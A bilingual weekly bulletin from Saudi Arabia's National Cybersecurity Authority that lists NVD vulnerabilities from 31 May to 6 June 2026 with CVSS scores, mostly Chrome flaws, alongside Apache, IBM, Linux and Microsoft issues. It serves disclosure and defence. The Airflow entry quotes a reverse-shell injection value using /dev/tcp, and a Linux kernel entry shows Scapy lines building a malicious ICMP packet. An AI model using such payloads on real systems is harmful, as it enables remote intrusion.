الهيئة الوطنية للأمن السيبراني
National Cybersecurity Authority

تمت مشاركة هذه المعلومة بإشارة مشاركة ***أبيض*** حيث يسمح بتبادلها أو نشرها من خلال القنوات العامة.

في ضوء دور الهيئة الوطنية للأمن السيبراني للمساعدة في حماية الفضاء السيبراني الوطني، تود الهيئة مشاركتكم النشرة الأسبوعية للثغرات المسجلة من قبل the National Institute of Standards and Technology (NIST) National Vulnerability Database (NVD) للأسبوع من 31 مايو إلى 6 يونيو. علماً أنه يتم تصنيف هذه الثغرات باستخدام معيار Common Vulnerability Scoring System (CVSS) حيث يتم تصنيف الثغرات بناء على التالي:

- عالي جدًا: النتيجة الأساسية لـCVSS 9.0-10.0
- عالي: النتيجة الأساسية لـCVSS 7.0-8.9
- متوسط: النتيجة الأساسية لـCVSS 4.0-6.9
- منخفض: النتيجة الأساسية لـ CVSS 0.0-3.9

Please note that this notification/advisory has been tagged as TLP ***WHITE*** where information can be shared or published on any public forums.

As part of NCA duties to help securing the cyberspace and protecting national interests, NCA provides the weekly summary of published vulnerabilities by the National Institute of Standards and Technology (NIST) National Vulnerability Database (NVD) for the week from 31th of May to 6th of June. Vulnerabilities are scored using the Common Vulnerability Scoring System (CVSS) standard as per the following severity:

- **Critical: CVSS base score of 9.0-10.0**
- **High: CVSS base score of 7.0-8.9**
- **Medium: CVSS base score 4.0-6.9**
- **Low: CVSS base score 0.0-3.9**

CVE ID & Source	Vendor - Product	Description	Publish Date	CVSS Score
CVE-2026-0072	google - android_xr	In addInputMethodListener of com.android.server.inputmethod.InputMethodManagerService, there is a missing permission check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.	2026-06-01	10
CVE-2026-48567	microsoft - azure_horizondb	Authentication bypass by spoofing in Azure HorizonDB allows an unauthorized attacker to elevate privileges over a network.	2026-06-04	10
CVE-2026-47065	apache software foundation - Apache MINA	ZDRES-232: resolveProxyClass Not Overridden - acceptMatchers Filter Bypass via java.lang.reflect.Proxy Assessment: Fully addressed. When the serialised stream contains a TC_PROXYCLASSDESC (the marker for a java.lang.reflect.Proxy), JDK’s ObjectInputStream.readProxyDesc() is dispatched. JDK then calls the default ObjectInputStream.resolveProxyClass(interfaces) implementation, which performs Class.forName(intf, false, latestUserDefinedLoader()) for EACH interface name and constructs the proxy class â€” bypassing the accepted classes list . ZDRES-233: Class.forName(name, initialize=true, classLoader) in readClassDescriptor Triggers Static Initialiser of Allow-Listed Classes Assessment: Fully addressed. For ANY class on the allow-list, deserialising a stream that names it triggers the class’s (static initialiser) BEFORE any instance is constructed. This means an attacker who supplies a class name on the allow-list (e.g., the developer wrote accept(“com.myapp.*") , attacker supplies com.myapp.SomeClass) causes <clinit> of SomeClass â€” and many real-world classes have side-effecting static initialisers Both issues have been fixed.	2026-06-03	9.8
CVE-2026-10881	google - chrome	Out of bounds read and write in ANGLE in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Critical)	2026-06-04	9.6
CVE-2026-10886	google - chrome	Use after free in FileSystem in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Critical)	2026-06-04	9.6

CVE-2026-10892	google - chrome	Out of bounds write in GPU in Google Chrome on Android prior to 149.0.7827.53 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Critical)	2026-06-04	9.6
CVE-2026-10931	google - chrome	Use after free in FileSystem in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)	2026-06-04	9.6
CVE-2026-10966	google - chrome	Inappropriate implementation in Codecs in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to potentially perform a sandbox escape via a crafted video file. (Chromium security severity: High)	2026-06-04	9.6
CVE-2026-10971	google - chrome	Insufficient validation of untrusted input in Printing in Google Chrome on Windows prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)	2026-06-04	9.6
CVE-2026-10972	google - chrome	Use after free in Ozone in Google Chrome on Linux prior to 149.0.7827.53 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)	2026-06-04	9.6
CVE-2026-10974	google - chrome	Insufficient validation of untrusted input in ANGLE in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)	2026-06-04	9.6
CVE-2026-10983	google - chrome	Insufficient validation of untrusted input in Dawn in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)	2026-06-04	9.6
CVE-2026-10990	google - chrome	Use after free in Glic in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	9.6
CVE-2026-11002	google - chrome	Use after free in Autofill in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	9.6
CVE-2026-11009	google - chrome	Use after free in USB in Google Chrome on Windows prior to 149.0.7827.53 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	9.6
CVE-2026-11021	google - chrome	Insufficient validation of untrusted input in GPU in Google Chrome on Windows prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	9.6
CVE-2026-11029	google - chrome	Insufficient validation of untrusted input in Drag and Drop in Google Chrome on Android prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	9.6
CVE-2026-11037	google - chrome	Out of bounds write in Codecs in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to potentially perform a sandbox escape via a crafted video file. (Chromium security severity: Medium)	2026-06-04	9.6
CVE-2026-11043	google - chrome	Out of bounds write in ANGLE in Google Chrome on Mac prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	9.6
CVE-2026-11047	google - chrome	Inappropriate implementation in Base in Google Chrome on Windows prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	9.6
CVE-2026-11052	google - chrome	Type Confusion in GPU in Google Chrome on Windows prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	9.6
CVE-2026-11056	google - chrome	Insufficient validation of untrusted input in SiteIsolation in Google Chrome on Windows prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	9.6
CVE-2026-11061	google - chrome	Type Confusion in ANGLE in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	9.6
CVE-2026-11063	google - chrome	Insufficient validation of untrusted input in WebNN in Google Chrome on Windows prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	9.6
CVE-2026-11065	google - chrome	Use after free in ANGLE in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	9.6
CVE-2026-11066	google - chrome	Insufficient validation of untrusted input in ANGLE in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	9.6
CVE-2026-11070	google - chrome	Insufficient validation of untrusted input in Chromoting in Google Chrome on Windows prior to 149.0.7827.53 allowed a remote attacker who had compromised the network process to potentially perform a sandbox escape via malicious network traffic. (Chromium security severity: Medium)	2026-06-04	9.6
CVE-2026-11082	google - chrome	Race in GPU in Google Chrome on Android prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	9.6
CVE-2026-11088	google - chrome	Integer overflow in ANGLE in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	9.6
CVE-2026-11094	google - chrome	Use after free in Codecs in Google Chrome on Windows prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	9.6

CVE-2026-11095	google - chrome	Insufficient validation of untrusted input in Codecs in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	9.6
CVE-2026-11100	google - chrome	Use after free in File Input in Google Chrome on Mac prior to 149.0.7827.53 allowed a remote attacker who convinced a user to engage in specific UI gestures to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	9.6
CVE-2026-11112	google - chrome	Insufficient validation of untrusted input in Chromoting in Google Chrome on Linux prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted Chrome Extension. (Chromium security severity: Medium)	2026-06-04	9.6
CVE-2026-11113	google - chrome	Insufficient validation of untrusted input in ANGLE in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	9.6
CVE-2026-11114	google - chrome	Use after free in Device Trust in Google Chrome on Mac prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	9.6
CVE-2026-11119	google - chrome	Inappropriate implementation in GPU in Google Chrome on Android prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	9.6
CVE-2026-11120	google - chrome	Insufficient validation of untrusted input in Enterprise Reporting in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	9.6
CVE-2026-11131	google - chrome	Use after free in Autofill in Google Chrome on Android prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	9.6
CVE-2026-11146	google - chrome	Insufficient validation of untrusted input in Chromoting in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	9.6
CVE-2026-11152	google - chrome	Object lifecycle issue in Dawn in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	9.6
CVE-2026-11163	google - chrome	Use after free in Messages in Google Chrome on Android prior to 149.0.7827.53 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	9.6
CVE-2026-11165	google - chrome	Use after free in WebMIDI in Google Chrome on iOS prior to 149.0.7827.53 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	9.6
CVE-2026-11167	google - chrome	Inappropriate implementation in WebView in Google Chrome on Android prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	9.6
CVE-2026-11198	google - chrome	Insufficient validation of untrusted input in Codecs in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to potentially perform a sandbox escape via a crafted video file. (Chromium security severity: Medium)	2026-06-04	9.6
CVE-2026-11207	google - chrome	Insufficient validation of untrusted input in Autofill in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to potentially perform a sandbox escape via malicious network traffic. (Chromium security severity: Medium)	2026-06-04	9.6
CVE-2026-11213	google - chrome	Insufficient validation of untrusted input in Reading Mode in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	9.6
CVE-2026-11250	google - chrome	Inappropriate implementation in DevTools in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to obtain potentially sensitive information from process memory via a crafted HTML page. (Chromium security severity: Low)	2026-06-05	9.6
CVE-2026-11282	google - chrome	Insufficient policy enforcement in Sandbox in Google Chrome on Linux prior to 149.0.7827.53 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Low)	2026-06-05	9.6
CVE-2026-11293	google - chrome	Use after free in Input in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Low)	2026-06-05	9.6
CVE-2026-42252	apache - airflow	Apache Airflow's official documentation at `core-concepts/dag-run.html` ("Passing Parameters when triggering Dags") showed a verbatim `BashOperator(bash_command="echo value: {{ dag_run.conf['conf1'] }}")` example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had `Dag.can_trigger` permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the `conf` field of the trigger API: an authenticated trigger user could supply `"; bash -i >& /dev/tcp/.../9999 0>&1; #"` as a `conf` value and reach an `os.exec` on the worker. This CVE covers the documentation correction in `apache/airflow` PR 64129 — the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to `apache-airflow` 3.2.2 or later to pick up the corrected documentation shipped with the release.	2026-06-01	9.1
CVE-2026-8644	ibm - multiple products	IBM WebSphere Application Server 9.0, and 8.5 is vulnerable to identity spoofing.	2026-06-01	9.1
CVE-2026-46244	linux - multiple products	In the Linux kernel, the following vulnerability has been resolved: netfilter: nft_inner: Fix IPv6 inner_thoff desync In nft_inner_parse_l2l3(), when processing inner IPv6 packets, ipv6_find_hdr() correctly computes the transport header offset	2026-06-03	9.1

		traversing all extension headers, but the result is immediately overwritten with nhoff + sizeof(_ip6h) (40 bytes), which only accounts for the IPv6 base header. This creates a desync between inner_thoff (wrong — points to extension header start) and l4proto (correct — e.g., IPPROTO_TCP), enabling transport header forgery and potential firewall bypass. This issue affects stable versions from Linux 6.2. For comparison, the normal (non-inner) IPv6 path correctly preserves ipv6_find_hdr()'s result. Removing the incorrect overwrite ensures that ipv6_find_hdr()'s calculated transport header offset is preserved, thereby fixing the desynchronization.		
CVE-2026-46266	linux - multiple products	In the Linux kernel, the following vulnerability has been resolved: inet: RAW sockets using IPPROTO_RAW MUST drop incoming ICMP Yizhou Zhao reported that simply having one RAW socket on protocol IPPROTO_RAW (255) was dangerous. socket(AF_INET, SOCK_RAW, 255); A malicious incoming ICMP packet can set the protocol field to 255 and match this socket, leading to FNHE cache changes. inner = IP(src="192.168.2.1", dst="8.8.8.8", proto=255)/Raw("TEST") pkt = IP(src="192.168.1.1", dst="192.168.2.1")/ICMP(type=3, code=4, nexthopmtu=576)/inner "man 7 raw" states: A protocol of IPPROTO_RAW implies enabled IP_HDRINCL and is able to send any IP protocol that is specified in the passed header. Receiving of all IP protocols via IPPROTO_RAW is not possible using raw sockets. Make sure we drop these malicious packets.	2026-06-03	9.1
CVE-2026-50076	apache - fory	Deserialization of Untrusted Data in the Java replace-resolve path in Apache Fory fory-core Java SDK before 1.1.0 on Java/JVM platforms allows a remote attacker to bypass class registration, TypeChecker, and DisallowedList checks and invoke classpath-present readResolve/readExternal hooks via crafted Fory serialized data. Users are recommended to upgrade to version 1.1.0 or later, which fixes this issue.	2026-06-04	9.1
CVE-2026-11153	google - chrome	Side-channel information leakage in Forms in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	9.1
CVE-2026-48579	microsoft - exchange_online	Improper authorization in Microsoft Exchange Online allows an unauthorized attacker to disclose information over a network.	2026-06-04	9.1
CVE-2026-9311	ibm - multiple products	IBM WebSphere Application Server 9.0, and 8.5 is vulnerable to remote code execution caused by the bypass of security controls.	2026-06-01	9
CVE-2026-9319	ibm - multiple products	IBM WebSphere Application Server 9.0, and 8.5 is vulnerable to potential remote code execution due to deserialization of untrusted data via JAX-WS endpoints with WS-Security.	2026-06-01	9
CVE-2026-35563	apache - directory_ldap_api	It was identified that the LDAP client implementation in version 2.1.7 does not verify if the server certificate matches the intended LDAP hostname. While the underlying code validates the certificate chain against a trusted authority, the absence of endpoint identification allows a valid certificate issued for an entirely unrelated host to be improperly accepted. This oversight leaves the connection highly vulnerable to server impersonation and complete connection compromise. The root cause of this vulnerability lies in the incomplete TLS server identity verification within the LDAP client implementation. The attacker requires MITM capability on the network to exploit this vulnerability. This attacker must be able to present a certificate trusted by the client's configured trust store. The hostname verification has been enforced in the new version of the LDAP API	2026-06-01	8.8
CVE-2026-42359	apache - airflow	A bug in Apache Airflow's XCom PATCH endpoint `PATCH /api/v2/xcomEntries/{key}` allowed an authenticated UI/API user with XCom write permission on a Dag to set XCom entries under reserved key names (e.g. `return_value`) that the matching POST endpoint already validated against `FORBIDDEN_XCOM_KEYS`. The endpoint also accepted serialized payload shapes the triggerer's deserializer treats as code; combined, this allowed RCE on the triggerer when the affected task next deferred. Affects deployments where untrusted users have XCom write permission on Dags that defer to the triggerer. This is a fix-bypass of CVE-2026-33858: PR #64148 added the	2026-06-01	8.8

		`FORBIDDEN_XCOM_KEYS` validator only on the POST/set path; the PATCH path was not covered. Users who already upgraded for CVE-2026-33858 should additionally upgrade to `apache-airflow` 3.2.2 or later to cover the PATCH-path bypass.		
CVE-2026-45505	apache - multiple products	Improper Input Validation, Improper Control of Generation of Code ('Code Injection') vulnerability in Apache ActiveMQ Broker, Apache ActiveMQ All, Apache ActiveMQ. Non-parenthesized discovery wrappers such as `masterslave:vm://...,...` and `static:vm://...` incorrectly pass validation allowing bypass of fix in CVE-2026-34197. Original description from CVE-2026-34197. Apache ActiveMQ exposes the Jolokia JMX-HTTP bridge at /api/jolokia/ on the web console. The default Jolokia access policy permits exec operations on all ActiveMQ MBeans (org.apache.activemq:*), including BrokerService.addNetworkConnector(String) and BrokerService.addConnector(String). An authenticated attacker can invoke these operations with a crafted discovery UR that triggers the VM transport's brokerConfig parameter to load a remote Spring XML application context using ResourceXmlApplicationContext. Because Spring's ResourceXmlApplicationContext instantiates all singleton beans before the BrokerService validates the configuration, arbitrary code execution occurs on the broker's JVM through bean factory methods such as Runtime.exec(). This issue affects Apache ActiveMQ Broker: before 5.19.7, from 6.0.0 before 6.2.6; Apache ActiveMQ All: before 5.19.7, from 6.0.0 before 6.2.6; Apache ActiveMQ: before 5.19.7, from 6.0.0 before 6.2.6. Users are recommended to upgrade to version 5.19.7 or 6.2.6, which fixes the issue.	2026-06-01	8.8
CVE-2026-49157	apache - multiple products	Incorrect Default Permissions vulnerability in Apache ActiveMQ. This issue affects Apache ActiveMQ: before 5.19.7, from 6.0.0 before 6.2.6. The default Jolokia authorization settings granted non-admin (low-privilege) web-login accounts access to Jolokia operations which allowed executing broker management operations meant for admins such as addQueue and removeQueue. Users are recommended to upgrade to version 6.2.6 or 5.19.7, which fixes the issue.	2026-06-01	8.8
CVE-2026-49298	apache - airflow	A bug in Apache Airflow's KubernetesExecutor caused JWT tokens used by worker pods to authenticate against the Execution API to be passed to the worker container as command-line arguments visible in the pod spec. An authenticated UI/API user with Kubernetes read-only access to the cluster (e.g. `pods/get` in the Airflow namespace) could harvest the JWT from `kubectl describe pod` output and then call state-mutating Execution API endpoints — triggering Dag runs, clearing runs, reading or writing Variables / Connections / XComs — as if they were a running task. Affects deployments using the `KubernetesExecutor`. Users are advised to upgrade to `apache-airflow` 3.2.2 or later. This is the airflow-core half of the same vulnerability addressed by [CVE-2026-27173](https://www.cve.org/CVERecord?id=CVE-2026-27173), which shipped the apache-airflow-providers-cncf-kubernetes side of the fix. Deployments that already upgraded `apache-airflow-providers-cncf-kubernetes` to 10.17.0 or later per the CVE-2026-27173 advisory should additionally upgrade `apache-airflow` to 3.2.2 or later to close the core-side surface — the two fixes are complementary, not duplicates.	2026-06-01	8.8
CVE-2026-7770	ibm - i Access Family	IBM i Access Family 1.1.5.0 through 1.1.9.12 IBM i Access Client Solutions (ACS) is vulnerable to remote code execution when configured to listen for requests from IBM i Navigator.	2026-06-01	8.8
CVE-2026-9614	ivanti - multiple products	An Improper Access Control vulnerability in Ivanti Neurons for ITSM (cloud and on-premises) allows a remote authenticated attacker to gain administrative access.	2026-06-01	8.8
CVE-2026-25276	qualcomm - cq8750m_firmware	Memory corruption while using Strongbox due to missing bounds check.	2026-06-01	8.8
CVE-2026-25277	qualcomm - cq8750m_firmware	Memory corruption while using Strongbox due to buffer overflow.	2026-06-01	8.8
CVE-2026-1784	redhat - openshift_container_platform	The Route OpenShift resource allows to define routes to make pods reachable at a subdomain through HAProxy. It was found that the checks performed on the spec.path YAML stanza in a Route document was insufficient and could allow a controlled injection of the HAProxy configuration.	2026-06-02	8.8
CVE-2026-46264	linux - linux_kernel	In the Linux kernel, the following vulnerability has been resolved: drm/xe/pf: Fix sysfs initialization In case of devm_add_action_or_reset() failure the provided cleanup action will be run immediately on the not yet initialized kobject. This may lead to errors like: [ ] kobject: '(null)' (ff110001393608e0): is not initialized, yet kobject_put() is being called. [ ] WARNING: lib/kobject.c:734 at kobject_put+0xd9/0x250, CPU#0: kworker/0:0/9 [ ] RIP: 0010:kobject_put+0xdf/0x250 [ ] Call Trace: [ ] xe_sriov_pf_sysfs_init+0x21/0x100 [xe] [ ] xe_sriov_pf_init_late+0x87/0x2b0 [xe] [ ] xe_sriov_init_late+0x5f/0x2c0 [xe] [ ] xe_device_probe+0x5f2/0xc20 [xe] [ ] xe_pci_probe+0x396/0x610 [xe] [ ] local_pci_probe+0x47/0xb0	2026-06-03	8.8

		[ ] refcount_t: underflow; use-after-free. [ ] WARNING: lib/refcount.c:28 at refcount_warn_saturate+0x68/0xb0, CPU#0: kworker/0:0/9 [ ] RIP: 0010:refcount_warn_saturate+0x68/0xb0 [ ] Call Trace: [ ] kobject_put+0x174/0x250 [ ] xe_sriov_pf_sysfs_init+0x21/0x100 [xe] [ ] xe_sriov_pf_init_late+0x87/0x2b0 [xe] [ ] xe_sriov_init_late+0x5f/0x2c0 [xe] [ ] xe_device_probe+0x5f2/0xc20 [xe] [ ] xe_pci_probe+0x396/0x610 [xe] [ ] local_pci_probe+0x47/0xb0 Fix that by calling kobject_init() and kobject_add() separately and register cleanup action after the kobject is initialized. Also make this cleanup registration a part of the create helper to fix another mistake, as in the loop we were wrongly passing parent kobject while registering cleanup action, and this resulted in some undetected leaks. (cherry picked from commit 98b16727f07e26a5d4de84d88805ce7ffcfdd324)		
CVE-2026-10882	google - chrome	Use after free in Network in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to execute arbitrary code via a crafted HTML page. (Chromium security severity: Critical)	2026-06-04	8.8
CVE-2026-10883	google - chrome	Type Confusion in ANGLE in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: Critical)	2026-06-04	8.8
CVE-2026-10885	google - chrome	Use after free in Chrome for iOS in Google Chrome on iOS prior to 149.0.7827.53 allowed a remote attacker to execute arbitrary code via a crafted HTML page. (Chromium security severity: Critical)	2026-06-04	8.8
CVE-2026-10888	google - chrome	Use after free in Cast Streaming in Google Chrome prior to 149.0.7827.53 allowed an attacker on the local network segment to execute arbitrary code via malicious network traffic. (Chromium security severity: Critical)	2026-06-04	8.8
CVE-2026-10890	google - chrome	Use after free in Cast in Google Chrome prior to 149.0.7827.53 allowed an attacker on the local network segment to potentially exploit heap corruption via malicious network traffic. (Chromium security severity: Critical)	2026-06-04	8.8
CVE-2026-10891	google - chrome	Use after free in GFX in Google Chrome on Linux prior to 149.0.7827.53 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: Critical)	2026-06-04	8.8
CVE-2026-10893	google - chrome	Use after free in Chromoting in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to execute arbitrary code via malicious network traffic. (Chromium security severity: Critical)	2026-06-04	8.8
CVE-2026-10895	google - chrome	Use after free in Ozone in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to execute arbitrary code via a crafted HTML page. (Chromium security severity: Critical)	2026-06-04	8.8
CVE-2026-10896	google - chrome	Use after free in Chrome for iOS in Google Chrome on iOS prior to 149.0.7827.53 allowed a remote attacker to execute arbitrary code via a crafted HTML page. (Chromium security severity: Critical)	2026-06-04	8.8
CVE-2026-10897	google - chrome	Inappropriate implementation in GPU in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Critical)	2026-06-04	8.8
CVE-2026-10902	google - chrome	Use after free in Ozone in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to execute arbitrary code via a crafted HTML page. (Chromium security severity: Critical)	2026-06-04	8.8
CVE-2026-10903	google - chrome	Use after free in WebRTC in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)	2026-06-04	8.8
CVE-2026-10904	google - chrome	Inappropriate implementation in V8 in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)	2026-06-04	8.8
CVE-2026-10907	google - chrome	Out of bounds write in ANGLE in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)	2026-06-04	8.8
CVE-2026-10910	google - chrome	Type Confusion in V8 in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)	2026-06-04	8.8
CVE-2026-10913	google - chrome	Use after free in ANGLE in Google Chrome on Windows prior to 149.0.7827.53 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)	2026-06-04	8.8
CVE-2026-10914	google - chrome	Use after free in ANGLE in Google Chrome on Windows prior to 149.0.7827.53 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)	2026-06-04	8.8
CVE-2026-10922	google - chrome	Insufficient validation of untrusted input in DevTools in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who convinced a user to engage in specific UI gestures to bypass same origin policy via malicious network traffic. (Chromium security severity: High)	2026-06-04	8.8
CVE-2026-10923	google - chrome	Use after free in WebAppInstalls in Google Chrome on Android prior to 149.0.7827.53 allowed a local attacker to execute arbitrary code via a malicious file. (Chromium security severity: High)	2026-06-04	8.8
CVE-2026-10926	google - chrome	Use after free in Cast in Google Chrome prior to 149.0.7827.53 allowed an attacker on the local network segment to execute arbitrary code via malicious network traffic. (Chromium security severity: High)	2026-06-04	8.8
CVE-2026-10928	google - chrome	Script injection in Headless in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to execute arbitrary code via a crafted HTML page. (Chromium security severity: High)	2026-06-04	8.8
CVE-2026-10932	google - chrome	Use after free in UI in Google Chrome on Android prior to 149.0.7827.53 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)	2026-06-04	8.8
CVE-2026-10935	google - chrome	Type Confusion in V8 in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)	2026-06-04	8.8

CVE-2026-10936	google - chrome	Type Confusion in V8 in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)	2026-06-04	8.8
CVE-2026-10939	google - chrome	Use after free in WebRTC in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)	2026-06-04	8.8
CVE-2026-10941	google - chrome	Out of bounds memory access in Skia in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)	2026-06-04	8.8
CVE-2026-10943	google - chrome	Use after free in WebRTC in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)	2026-06-04	8.8
CVE-2026-10945	google - chrome	Use after free in PDF in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who convinced a user to engage in specific UI gestures to execute arbitrary code inside a sandbox via a crafted PDF file. (Chromium security severity: High)	2026-06-04	8.8
CVE-2026-10947	google - chrome	Use after free in WebRTC in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)	2026-06-04	8.8
CVE-2026-10948	google - chrome	Use after free in WebRTC in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)	2026-06-04	8.8
CVE-2026-10951	google - chrome	Use after free in Autofill in Google Chrome on iOS prior to 149.0.7827.53 allowed a remote attacker who convinced a user to engage in specific UI gestures to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)	2026-06-04	8.8
